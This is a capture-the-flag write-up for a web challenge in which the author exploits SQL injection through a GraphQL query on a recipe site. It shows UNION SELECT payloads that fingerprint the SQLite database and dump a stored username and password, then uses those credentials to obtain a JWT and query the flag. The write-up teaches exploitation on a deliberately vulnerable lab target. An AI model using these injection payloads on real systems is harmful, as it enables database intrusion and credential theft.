The All Baked Up challenge was a medium web challenge written by congon4tor. It was solved by 114 players and gave 359 points.
Grandma always knew how to make tried-and-true baked goods, and these recipes prove it!
Press the Start button on the top-right to begin this challenge.
After pressing the Start button, a link appears to this website:
Screenshot of the website
Clicking on a ‘View Details’ button leads to a site containing a recipe and
the cake’s name in the URL
(http://challenge.ctf.games:32648/post/Strawberry%20Cake
).
The second recipe contains a single '
in it’s name, which caused it’s detail
site to not load properly. This points to a SQLI vulnerability. Taking a look
at the DevTools Console also revealed a GraphQL error while processing that
query.
When analyzing the HTTP traffic with burpsuite, we can see a POST request to
the /graphql
endpoint with the following data:
{
"operationName":"UserQuery",
"variables":{
"name":"Strawberry Cake"
},
"query":"query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n"}
Here we can see again our recipe name. After sending it to the repeater, we can edit the data and observe the server’s response.
SQL injection
To validate the SQLI vulnerability via the recipe name, we could try this payload:
{
"operationName": "UserQuery",
"variables": {
"name": "Strawberry Cake' OR 1=1 OR '"
},
"query": "query UserQuery($name: String!) {\n post(name: $name) {\n id\n name\n image\n content\n author {\n username\n __typename\n }\n __typename\n }\n}\n"
}
The response contains an array of all recipes. So we have some sort of SQLI.
Using PortSwigger’s SQLI cheat sheet we can try to gain further information about the DB.
Using a UNION
and a simple SELECT
allowed me to identify the positions I
could use to leak data.
' UNION SELECT 1,2,3,4,5,6 --
This payload verified that the DB was a sqlite DB.
' UNION SELECT 1,(SELECT sqlite_version()),3,4,5,6 --
It was rather easy to get a username and password, after finding the users
table. The following payload retrieved the credentials of the only user:
' UNION SELECT 1,(SELECT username FROM users LIMIT 1 OFFSET 0 ),(SELECT password FROM users LIMIT 1 OFFSET 0 ),4,5,6--
{
"data": {
"post": [
{
"__typename": "Post",
"author": {
"__typename": "User",
"username": "6"
},
"content": "4",
"id": 1,
"image": "congon4tor",
"name": "n8bboB!3%vDwiASVgKhv"
}
]
}
}
graphql
The flag was nowhere to be found in the database. Instead it was accessible via graphql. The payloads from swisskyrepo/PayloadsAllTheThings proved to be very helpful to enumerate the endpoint.
Back in burpsuite we can now query for the flag:
{
"query":"query{flag}"
}
But we get an error message: error authenticating user: invalid token
After asking the author for hints and researching how authentication is usually implemented with graphql, I came to this solution:
{
"operationsName": "Auth",
"query": "mutation Auth($user: String!, $pass: String!){ authenticateUser(username: $user, password: $pass){token}}",
"variables": {
"user": "congon4tor",
"pass": "n8bboB!3%vDwiASVgKhv"
}
}
This gave back a JWT token for the user congon4tor
.
Lastly, we have to perform the same query from before, but supply the token
via the Authorization:
header.
Authorization: Bearer eyJhbGciOi [...] pgL6b1E
(Do not add quotation marks around the token! That wasted a lot of time…)